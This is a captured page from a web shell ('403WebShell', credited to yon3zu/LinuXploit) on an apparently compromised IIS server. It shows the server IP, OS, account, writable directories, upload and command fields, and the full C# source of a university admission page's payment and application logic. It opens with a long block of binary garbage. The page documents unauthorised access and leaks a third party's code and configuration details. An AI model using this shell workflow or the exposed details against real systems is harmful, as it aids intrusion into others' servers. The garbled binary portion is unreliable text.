ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw��k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ�����mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e���R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1�[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN���ĕ���0������� !01@Q"2AaPq3BR�������?�����@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j��ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^����ԯ̾9Z��F��������n��1��� ��]�[��)�'�������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ���&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0���;_���3������� !01"@AQa2Pq#3BR�������?����ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q�� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�����������4B>��o��](��$B���m�����a�!=���?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{�E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)�����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a��84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b���$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7���k�� 403WebShell
403Webshell
Server IP : 103.30.72.248  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-CARKG80MF9A 10.0 build 17763 (Windows Server 2019) AMD64
User : IUSR ( 0)
PHP Version : 8.2.7
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Websites/JU_REPLICA_UNIV/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Websites/JU_REPLICA_UNIV//Welcome.aspx.cs
using Business.Model;
using DAO.DataLayer;
using JU_DISTANCE_ADMISSION_NEW;
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace JU_DISTANCE_ADMISSION
{
    public partial class Welcome : System.Web.UI.Page
    {
        string regno;
        protected void Page_Load(object sender, EventArgs e)
        {
            if (CookieUtil.GetTripleDESEncryptedCookieValue("regno") != null && CookieUtil.GetTripleDESEncryptedCookieValue("regno") != "")
            {

                regno = CookieUtil.GetTripleDESEncryptedCookieValue("regno").ToString();
                if (!IsPostBack)
                {
                    CookieUtil.SetTripleDESEncryptedCookie("pstname", null, DateTime.Now.AddHours(-1));
                    try
                    {
                        BindStepStatus();
                       BindPrograms();
                        CheckAdmitCard();
                        CheckCounselling();
                    //    CheckStatusProgram();

                     //   BindPHDLLMPrograms();
                    }
                    catch { }
                    //CheckNewLink();
                }
                else
                {

                }

            }
            else
            {
               // Response.Redirect("~/Login.aspx");
            }
            clearMsg();
        }
        public bool IsEligileForFeeExemption()
        {
            try
            {
                PROGRAMS pg = new PROGRAMS();
                return pg.IsEligileForFeeExemption(regno);
            }
            catch { return false; }
        }
        protected void btnNEFT_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string programcode = button.CommandArgument;
            string programname = button.ToolTip;


            CookieUtil.SetTripleDESEncryptedCookie("wcprogramname", programname, DateTime.Now.AddHours(2));
            CookieUtil.SetTripleDESEncryptedCookie("wcprogramcode", programcode, DateTime.Now.AddHours(2));
            ManageApplicantLog(regno, "UTR ACCESS", 113);
            Response.Redirect("~/UploadUTR.aspx");


        }
        public bool IfUTRUploaded(string pcode)
        {
            bool a = new PROGRAMS().IsUTRUploaded(regno, pcode);

            return a;

        }
        public bool IfPaidDirectAdmissionPayment(string rno, string pcode)
        {
            bool a = new tbl_PaymentDAO().check_PaymentForDirectAdmission(rno, pcode);

            return a;

        }
        public bool ManageApplicantLog(string rollno, string text, int stepid)
        {
            ApplicantLog al = new ApplicantLog();
            al.ROLLNO = rollno;
            al.RegNo = regno;
            al.STEPID = stepid;
            al.STEPNAME = text;
            al.STEPSTART = DateTime.Now.ToString();

            al.STEPEND = "";
            al.LASTTIME = text;

            return al.ManageApplicantLog();
        }
        protected void btnScore_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            string programcode = button.CommandArgument;
            var item = (RepeaterItem)button.NamingContainer;
            var lblScore = (Label)item.FindControl("lblScoreName");
            var txtScore = (TextBox)item.FindControl("txtScore");
            var lblYear = (Label)item.FindControl("lblScoreYear");



            if (txtScore.Text != "0")
            {
                try
                {
                    AddOtherEducation(regno, lblScore.Text, txtScore.Text, lblYear.Text, "", programcode, "Yes");
                    clearMsg();
                    BindPrograms();
                    lblsuccess.Text = "Score Update Successfully";
                    divsuccess.Visible = true;
                }
                catch (Exception ex)
                {
                    clearMsg();
                    lblerror.Text = "Problem in Score Updation " + ex.Message;
                    diverror.Visible = true;
                }
            }
            else
            {
                clearMsg();
                lblInfo.Text = "Please enter valid score then update ";
                divinfo.Visible = true;

            }

        }
        protected static int ConvertToInt(string s)
        {

            int num = 0;
            if (Int32.TryParse(s, out num))
            {
                num = Convert.ToInt32(s);
                //num = s;
            }
            return num;
        }
        protected void AddOtherEducation(string regno, string scname, string score, string year, string rollno, string other1, string other2)
        {

            using (tbl_Appfrm_Others oth = new tbl_Appfrm_Others())
            {



                oth.RegNo = regno;
                oth.SCORENAME = scname;
                oth.SCORE = score;
                oth.YEAR = ConvertToInt(year);
                oth.RollNo = rollno;
                oth.Other1 = other1;
                oth.Other2 = other2;
                new tbl_Appfrm_OthersDAO().Managetbl_Appfrm_Others(oth);
            }
        }

        protected void btnLetter_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string programcode = button.CommandArgument;
            string programname = button.ToolTip;
            PROGRAMS p = new PROGRAMS();
            if (IfPaidDirectAdmissionPayment(regno, programcode) == true)
            {
                var a = p.IsEligileForAdmissionLetter(regno, programcode);
                if (a == true)
                {
                    CookieUtil.SetTripleDESEncryptedCookie("wcprogramcode", programcode, DateTime.Now.AddHours(2));
                    ManageApplicantLog(regno, "DOWNLOAD LETTER", 777);
                    Response.Redirect("~/DirectProvisionalAdmissionLetter.aspx");
                }
                else
                {
                    clearMsg();
                    divinfo.Visible = true;
                    lblInfo.Text = "-Your payment of fee has been done for this programme , the provisional admission letter will be issued after confirmation and verification of the payment.<br>";
                }
            }
        }

        protected void btnApply_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string programcode = button.CommandArgument;
            string command = button.CommandName;
            if (programcode != "PL01" && (command.ToLower() != "biotechnology"))//&& (programcode != "PB02" && command.ToLower() != "biotechnology"))
            {

                try
                {
                    CookieUtil.SetTripleDESEncryptedCookie("wcprogramcode", programcode, DateTime.Now.AddHours(2));
                    Response.Redirect("VerifyDirectEducation.aspx");
                    // SendAdmisionPaymentDirect(commandArgument);
                    ManageApplicantLog(regno, 5000, "DIRECT_ADMISSION");
                    // Response.Redirect("https://docs.google.com/forms/d/e/1FAIpQLSdiu1KTA3CF3IVgTYJm2YSDaRBpQpnmpulTz4_SsJaDq3mYwQ/viewform");
                }
                catch (Exception ex)
                {
                    clearMsg();
                    lblerror.Text = ex.Message;
                    diverror.Visible = true;

                }
            }
            else
            {
                clearMsg();
                divinfo.Visible = true;
                lblInfo.Text = "-You are not eligible for admission in this programme.<br>" + command;


            }
        }

        protected void btnCounsellingLetter_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string programcode = button.CommandArgument;
            string discipline = button.CommandName;
            if (discipline == "Ph.D." || discipline == "M.Phil.")
            {

                CookieUtil.SetTripleDESEncryptedCookie("pcode", programcode, DateTime.Now.AddHours(2));
                ManageApplicantLog(regno, "DOWNLOAD COUNSELLING LETTER", 224);
                Response.Redirect("~/PHDCounsellingLetter.aspx");
            }
            else
            {
                clearMsg();
                divinfo.Visible = true;
                lblInfo.Text = "-You are not eligible for counselling letter.<br>";

            }

        }
        protected void BindPHDLLMPrograms()
        {
            try
            {
                PROGRAMS pg = new PROGRAMS();
                // Response.Write(pg.getAllPrograms("ug").SingleOrDefault().ProgramCode);
                var a = pg.getAllPHDInterviewResultDetaislByRegNo(regno);
                //  ddlCourse.DataSource =a;
                if (a.Rows.Count > 0)
                {
                    rptPhdRank.DataSource = a;

                    rptPhdRank.DataBind();
                    pnlPhdCounsel.Visible = true;

                }
                //  ddlCourse.DataTextField = "ProgramName";
                //   ddlCourse.DataValueField = "ProgramCode";
                //  ddlCourse.DataBind();
            }
            catch (Exception ex) { Response.Write(ex.StackTrace); }
        }
        public void CheckStatusProgram()
        {
            // var a = new tbl_Appfrm_AppliedProgramDAO().GetAlltbl_Appfrm_AppliedProgram(regno).Where(i=>(i.AppliedProgram=="UI01") ||(i.AppliedProgram.ToString().Replace("`","")=="UIE1"));

            // var b = new tbl_Appfrm_AppliedProgramDAO().GetAlltbl_Appfrm_AppliedProgram(regno).Where(i => i.ProgramMode == "MERIT");
            PROGRAMS pg = new PROGRAMS();
            var b = pg.getAllMeritProgramByRegNo(regno);
            //  ddlCourse.DataSource =a;
            //if (a.Count()>0 )
            //{
            //    divchoice.Visible = true;
            //}
            if (b.Rows.Count > 0)
            {
                // divdirect.Visible = true;
                btnDownloadScore.Visible = true;
                divdownload2.Visible = true;
            }
        }

        public int GetRestFeeDirect(string programcode)
        {
            int fee = 0;
            try
            {
                fee = Convert.ToInt32(new PROGRAMS().getDirectRestFeeByRegNoForProgramChoice(regno, programcode));

            }
            catch { }
            return fee;
        }

        protected void btndirectInvoice_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string commandArgument = button.CommandArgument;
            string command = button.CommandName;
            if (command != "REG")
            {
                Response.Redirect("~/DirectAdmissionFeePaymentInvoice.aspx?transid=" + command);
            }
            else
            {
                lblsuccess.Text = "You have successfully deposited your Registration Fee. Invoice will be released soon.";
                divsuccess.Visible = true;
            }
        }


        protected void btnDirectRestPayment_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            //string programcode = button.CommandArgument;
            //string fee = button.CommandName;
            //int admfee = GetRestFeeDirect(programcode);
            //if (admfee > 0)
            //{
            //    var reg = new tbl_Appfrm_RegDetailDAO().GetAlltbl_Appfrm_RegDetailByRegNo(regno).FirstOrDefault();

            //    ManagePayment("41685", "REST", "NB", regno, regno, "3455", "Intiated", fee.ToString(), "INR", "0", regno, DateTime.Now.ToString(), regno, regno, programcode, programcode, programcode, programcode, reg.FullName, "Initiated", "Admission Rest Fee Initiated NET ");

            //    Paymentnowdirect(admfee, programcode);
            //}
            //else
            //{
            lblerror.Text = "Online payment facility is now closed. For futher refrence contact to GBU admission office.";
            diverror.Visible = true;
            //}

        }
        public static void ManagePaymentAdmission(string MerchantLogin, string MerchantPass, string MerchantDiscretionaryData, string ProductID, string ClientCode, string CustomerAccountNo, string TransactionType, string TransactionAmount, string TransactionCurrency, string TransactionServiceCharge, string TransactionID, string TransactionDateTime, string BankID, string u1, string u2, string u3, string u4, string u5, string u6, string status, string info)
        {
            using (tbl_Payment p = new tbl_Payment())
            {
                p.PaymentId = 0;
                p.MerchantLogin = MerchantLogin;
                p.MerchantPass = MerchantPass;
                p.MerchantDiscretionaryData = MerchantDiscretionaryData;

                p.ClientCode = ClientCode;
                p.ProductID = ProductID;
                p.CustomerAccountNo = CustomerAccountNo;
                p.TransactionType = TransactionType;
                p.TransactionAmount = ConvertToDecimal(TransactionAmount);
                p.TransactionCurrency = TransactionCurrency;
                p.TransactionServiceCharge = ConvertToDecimal(TransactionServiceCharge);
                p.TransactionID = TransactionID;
                p.TransactionDateTime = TransactionDateTime;
                p.TransactionStatus = status;
                p.BankID = BankID;
                p.UserDefined1 = u1;
                p.UserDefined2 = u2;
                p.UserDefined3 = u3;
                p.UserDefined4 = u4;
                p.UserDefined5 = u5;
                p.UserDefined6 = u6;
                //  p.CareationDate = DateTime.Now;
                // p.UpdateDate = DateTime.Now;
                p.PaymentText = info;
                p.IsActive = true;
                p.IsDelete = false;

                new tbl_PaymentDAO().Managetbl_PaymentAdmission(p);
            }
        }

        public string action1 = string.Empty;
        public string hash1 = string.Empty;
        public string txnid1 = string.Empty;

        protected void Paymentnowadmission(int fee, string programcode)
        {
            try
            {
                if (fee > 0)
                {
                    var reg = new tbl_Appfrm_RegDetailDAO().GetAlltbl_Appfrm_RegDetailByRegNo(regno).FirstOrDefault();
                    var per = new tbl_Appfrm_PersonalDAO().GetAlltbl_Appfrm_Personal(regno).FirstOrDefault();
                    key.Value = ConfigurationManager.AppSettings["MERCHANT_KEY"];
                    string[] hashVarsSeq;
                    string hash_string = string.Empty;


                    if (string.IsNullOrEmpty(Request.Form["txnid"])) // generating random txnid
                    {
                        Random rnd = new Random();
                        string strHash = Generatehash512(rnd.ToString() + DateTime.Now);
                        txnid1 = strHash.ToString().Substring(0, 20);

                    }
                    else
                    {
                        txnid1 = Request.Form["txnid"];
                    }

                    string paytext = "Rest Fee for" + reg.FullName + " [" + reg.RegNo + "] for" + programcode;
                    if (string.IsNullOrEmpty(Request.Form["hash"])) // generating hash value
                    {
                        if (
                            string.IsNullOrEmpty(ConfigurationManager.AppSettings["MERCHANT_KEY"]) ||
                            string.IsNullOrEmpty(txnid1) //||

                            )
                        {
                            //error

                            lblerror.Text = "Please Fill All Manadatory Fields For Payment";
                            diverror.Visible = true;
                            return;
                        }

                        else
                        {
                            clearMsg();
                            hashVarsSeq = ConfigurationManager.AppSettings["hashSequence"].Split('|'); // spliting hash sequence from config
                            hash_string = "";
                            foreach (string hash_var in hashVarsSeq)
                            {

                                if (hash_var == "key")
                                {
                                    hash_string = hash_string + ConfigurationManager.AppSettings["MERCHANT_KEY"];
                                    hash_string = hash_string + '|';
                                }
                                else if (hash_var == "txnid")
                                {
                                    hash_string = hash_string + txnid1;
                                    hash_string = hash_string + '|';
                                }
                                else if (hash_var == "amount")
                                {
                                    hash_string = hash_string + Convert.ToDecimal(fee).ToString("g29");
                                    hash_string = hash_string + '|';
                                }

                                else if (hash_var == "productinfo")
                                {
                                    hash_string = hash_string + paytext;
                                    hash_string = hash_string + '|';
                                }
                                else if (hash_var == "firstname")
                                {
                                    hash_string = hash_string + reg.FullName;
                                    hash_string = hash_string + '|';
                                }
                                else if (hash_var == "email")
                                {
                                    hash_string = hash_string + reg.Email;
                                    hash_string = hash_string + '|';
                                }
                                else if (hash_var == "udf1")
                                {
                                    hash_string = hash_string + reg.RegNo;
                                    hash_string = hash_string + '|';
                                }

                                else if (hash_var == "udf2")
                                {
                                    hash_string = hash_string + programcode;
                                    hash_string = hash_string + '|';
                                }

                                else if (hash_var == "udf3")
                                {
                                    hash_string = hash_string + "ODL";
                                    hash_string = hash_string + '|';
                                }
                                else if (hash_var == "udf4")
                                {
                                    hash_string = hash_string + "CDOE";
                                    hash_string = hash_string + '|';
                                }
                                else if (hash_var == "udf5")
                                {
                                    hash_string = hash_string + "admission";
                                    hash_string = hash_string + '|';
                                }
                                //else if (hash_var == "udf6")
                                //{
                                //    hash_string = hash_string + "";
                                //    hash_string = hash_string + '|';
                                //}
                                //else if (hash_var == "udf7")
                                //{
                                //    hash_string = hash_string + "";
                                //    hash_string = hash_string + '|';
                                //}
                                //else if (hash_var == "udf8")
                                //{
                                //    hash_string = hash_string + "";
                                //    hash_string = hash_string + '|';
                                //}
                                //else if (hash_var == "udf9")
                                //{
                                //    hash_string = hash_string + "";
                                //    hash_string = hash_string + '|';
                                //}
                                //else if (hash_var == "udf10")
                                //{
                                //    hash_string = hash_string + "";
                                //    hash_string = hash_string + '|';
                                //}

                                else
                                {

                                    hash_string = hash_string + (Request.Form[hash_var] != null ? Request.Form[hash_var] : "");// isset if else
                                    hash_string = hash_string + '|';
                                }
                            }

                            hash_string += ConfigurationManager.AppSettings["SALT"];// appending SALT

                            hash1 = Generatehash512(hash_string).ToLower();         //generating hash
                            action1 = ConfigurationManager.AppSettings["PAYU_BASE_URL"] + "/_payment";// setting URL

                        }


                    }

                    else if (!string.IsNullOrEmpty(Request.Form["hash"]))
                    {
                        hash1 = Request.Form["hash"];
                        action1 = ConfigurationManager.AppSettings["PAYU_BASE_URL"] + "/_payment";

                    }

                    if (!string.IsNullOrEmpty(hash1))
                    {

                        hash.Value = hash1;
                        txnid.Value = txnid1;

                        System.Collections.Hashtable data = new System.Collections.Hashtable(); // adding values in gash table for data post
                        data.Add("hash", hash.Value);
                        data.Add("txnid", txnid.Value);
                        data.Add("key", key.Value);
                        string AmountForm = Convert.ToDecimal(fee).ToString("g29");// eliminating trailing zeros
                                                                                   //  amount.Text = AmountForm;
                        data.Add("amount", AmountForm);
                        data.Add("firstname", reg.FullName);
                        data.Add("email", reg.Email);
                        data.Add("phone", reg.Mobile);
                        data.Add("productinfo", paytext);
                        data.Add("surl", "https://admission.distanceeducationju.in/ResponseHandler.aspx");
                        data.Add("furl", "https://admission.distanceeducationju.in/ResponseHandler.aspx");
                        data.Add("lastname", "");
                        data.Add("curl", "https://admission.distanceeducationju.in/ResponseHandler.aspx");
                        data.Add("address1", "");
                        data.Add("address2", "");
                        data.Add("city", "");
                        data.Add("state", "");
                        data.Add("country", "");
                        data.Add("zipcode", "");
                        data.Add("udf1", reg.RegNo);
                        data.Add("udf2", programcode);
                        data.Add("udf3", "ODL");
                        data.Add("udf4", "CDOE");
                        data.Add("udf5", "admission");
                        data.Add("pg", "DC");


                        string strForm = PreparePOSTForm(action1, data);
                        Page.Controls.Add(new LiteralControl(strForm));

                    }

                    else
                    {
                        //no hash

                    }
                }
                else
                {
                    clearMsg();
                    lblerror.Text = "You have already paid for this programs.";
                    diverror.Visible = true;
                }
            }

            catch (Exception ex)
            {
                Response.Write("<span style='color:red'>" + ex.Message + "</span>");

            }



        }
        protected static decimal ConvertToDecimal(string s)
        {

            decimal num = 0;
            if (Decimal.TryParse(s, out num))
            {
                num = Convert.ToDecimal(s);
                //num = s;
            }
            return num;
        }
        public void CheckAdmitCard()
        {
            PROGRAMS p = new PROGRAMS();
            //Control FooterTemplate = rptCourse.Controls[rptCourse.Controls.Count - 1].Controls[0];
            //Button btnDownload = FooterTemplate.FindControl("btnDownload") as Button;
            //Button btnMore = FooterTemplate.FindControl("btnMore") as Button;
            if (p.IsEligileForExam(regno))
            {
                //btnMore.Visible = false;
                //btnDownload.Visible = true;
                lblReasonRejection.Text = p.GetRejectionText(regno);
                divdownload.Visible = true;

            }
            else
            {
                //btnMore.Visible = true;
                //btnDownload.Visible = false;
                divdownload.Visible = false;
            }

        }

        public void CheckCounselling()
        {
            PROGRAMS p = new PROGRAMS();
            //Control FooterTemplate = rptCourse.Controls[rptCourse.Controls.Count - 1].Controls[0];
            //Button btnDownloadScore = FooterTemplate.FindControl("btnDownload2") as Button;
            //Button btnMore = FooterTemplate.FindControl("btnMore") as Button;
            if (p.IsEligileForCounselling(regno))
            {
                // btnMore.Visible = false;
                btnDownloadScore.Visible = true;
                divdownload2.Visible = true;

            }
            else
            {
                // btnMore.Visible = true;
                btnDownloadScore.Visible = false;
                divdownload2.Visible = false;
            }

        }
        public void clearMsg()
        {
            diverror.Visible = divinfo.Visible = divsuccess.Visible = divwarning.Visible = false;
            lblerror.Text = lblsuccess.Text = lblwarning.Text = lblInfo.Text = "";
        }

        protected void btnEdit_Click(object sender, EventArgs e)
        {
            CookieUtil.SetTripleDESEncryptedCookie("wcedit", "true", DateTime.Now.AddHours(2));
            ManageApplicantLog(regno, 201, "Edit Qualification");
            Response.Redirect("Step3.aspx");
        }
        public bool IfPaidPayment(string pcode)
        {
            bool b = false;
            bool a = new tbl_PaymentDAO().check_PaymentForAdmission(regno, pcode);
            if (a == true)
            {
                b = true;
            }
            return b;

        }
        protected void btnEdit2_Click(object sender, EventArgs e)
        {
            CookieUtil.SetTripleDESEncryptedCookie("wcedit", "true", DateTime.Now.AddHours(2));
            ManageApplicantLog(regno, 202, "Edit Attachment");
            Response.Redirect("Step5.aspx");
        }
        protected void btnDownloadScore_Click(object sender, EventArgs e)
        {
            CookieUtil.SetTripleDESEncryptedCookie("wcscore", "true", DateTime.Now.AddHours(2));
            int fee = 41000;
            if (IfPaidPayment("BED") == false)
            {
                var reg = new tbl_Appfrm_RegDetailDAO().GetAlltbl_Appfrm_RegDetailByRegNo(regno).FirstOrDefault();

                ManagePaymentAdmission("41681", "123", "NB", regno, regno, "3455", "Intiated", fee.ToString(), "INR", "0", regno, DateTime.Now.ToString(), regno, regno, "BED","ODL", "CDOE", "admission", reg.FullName, "Initiated", "Admission Fee Initiated");
                Paymentnowadmission(fee, "BED");
            }
        
        }
        protected void btnDownload_Click(object sender, EventArgs e)
        {
            CookieUtil.SetTripleDESEncryptedCookie("wcadmit", "true", DateTime.Now.AddHours(2));
            ManageApplicantLog(regno, 111, "Exam DashBoard");
            Response.Redirect("ExamDashBoard.aspx");
        }
        public bool ManageApplicantLog(string rollno, int stepid, string stepname)
        {
            ApplicantLog al = new ApplicantLog();
            al.ROLLNO = rollno;
            al.RegNo = regno;
            al.STEPID = stepid;
            al.STEPNAME = stepname;
            al.STEPSTART = DateTime.Now.ToString();

            al.STEPEND = "";
            al.LASTTIME = stepname;

            return al.ManageApplicantLog();
        }
        protected void btnModify_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string commandArgument = button.CommandArgument;
            CookieUtil.SetTripleDESEncryptedCookie("wcustomprogram", commandArgument, DateTime.Now.AddHours(12));
            Response.Redirect("Acknowledgement.aspx");
        }
        protected void BindPrograms()
        {
            try
            {
                //  PROGRAMS pg = new PROGRAMS();

                var a = new tbl_Appfrm_AppliedProgramDAO().GetAlltbl_Appfrm_AppliedProgram(regno);

                rptCourse.DataSource = a;

                rptCourse.DataBind();

            }
            catch (Exception ex) { Response.Write(ex.StackTrace); }
        }
        protected void btnChoice_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);
            CookieUtil.SetTripleDESEncryptedCookie("wcprogramcode", button.CommandArgument, DateTime.Now.AddHours(2));
            //  ManageApplicantLog(regno, "Prepare ChoiceLock", 123);
            Response.Redirect("~/AddChoice.aspx");
        }
        protected void BindStepStatus()
        {

            Repeater1.DataSource = new ApplicantInfo().getStepStatusByRegNoTable(regno);
            Repeater1.DataBind();

        }
        protected void btnRemove_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string commandArgument = button.CommandArgument;
            string command = button.CommandName;
            try
            {
                RemoveAppliedProgram(regno, commandArgument);
                clearMsg();
                lblsuccess.Text = "Program has been successfully removed from account";
                divsuccess.Visible = true;
                BindPrograms();
            }
            catch (Exception ex)
            {
                clearMsg();
                lblerror.Text = ex.Message;
                diverror.Visible = true;

            }
        }
        protected void RemoveAppliedProgram(string regno, string Programcode)
        {
            using (tbl_Appfrm_AppliedProgram pst = new tbl_Appfrm_AppliedProgram())
            {
                pst.ID = 0;
                pst.AcknowledgementNo = "";
                pst.RegNo = regno;
                pst.AppliedProgram = Programcode;
                pst.IsPaid = false;
                pst.IsActive = false;
                pst.IsDelete = false;
                pst.RegistrationDate = DateTime.Now.ToString();
                //  pst.CompletionDate=DateTime.Now.ToString();
                new tbl_Appfrm_AppliedProgramDAO().Updatetbl_Appfrm_AppliedProgram(pst);
            }
        }
        protected void btnPayNow_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string commandArgument = button.CommandArgument;
            string command = button.CommandName;


            // MakePayment(commandArgument);
            SendPayment(commandArgument);

        }

        protected void btnAdmissionFee_Click(object sender, EventArgs e)
        {
            Button button = (sender as Button);

            //Get the command argument
            string commandArgument = button.CommandArgument;
            string command = button.CommandName;


            // MakePayment(commandArgument);
            SendAdmissionFeeInvoice(commandArgument);

        }

        protected void SendPayment(string pogramcode)
        {
            System.Collections.Hashtable data = new System.Collections.Hashtable(); // adding values in gash table for data post
            data.Add("txnProgramCode", pogramcode);
            string strForm = PreparePOSTForm("Payment.aspx", data);
            Page.Controls.Add(new LiteralControl(strForm));
        }

        protected void SendAdmissionFeeInvoice(string pogramcode)
        {
            System.Collections.Hashtable data = new System.Collections.Hashtable(); // adding values in gash table for data post
            data.Add("txnTransCode", pogramcode);
            string strForm = PreparePOSTForm("AdmissionfeeInvoice.aspx", data);
            Page.Controls.Add(new LiteralControl(strForm));
        }
        private string PreparePOSTForm(string url, System.Collections.Hashtable data)      // post form
        {
            //Set a name for the form
            string formID = "PostForm";
            //Build the form using the specified data to be posted.
            StringBuilder strForm = new StringBuilder();
            strForm.Append("<form id=\"" + formID + "\" name=\"" +
                           formID + "\" action=\"" + url +
                           "\" method=\"POST\">");

            foreach (System.Collections.DictionaryEntry key in data)
            {

                strForm.Append("<input type=\"hidden\" name=\"" + key.Key +
                               "\" value=\"" + key.Value + "\">");
            }


            strForm.Append("</form>");
            //Build the JavaScript which will do the Posting operation.
            StringBuilder strScript = new StringBuilder();
            strScript.Append("<script language='javascript'>");
            strScript.Append("var v" + formID + " = document." +
                             formID + ";");
            strScript.Append("v" + formID + ".submit();");
            strScript.Append("</script>");
            //Return the form and the script concatenated.
            //(The order is important, Form then JavaScript)
            return strForm.ToString() + strScript.ToString();
        }


        public string Generatehash512(string text)
        {

            byte[] message = Encoding.UTF8.GetBytes(text);

            UnicodeEncoding UE = new UnicodeEncoding();
            byte[] hashValue;
            SHA512Managed hashString = new SHA512Managed();
            string hex = "";
            hashValue = hashString.ComputeHash(message);
            foreach (byte x in hashValue)
            {
                hex += String.Format("{0:x2}", x);
            }
            return hex;

        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit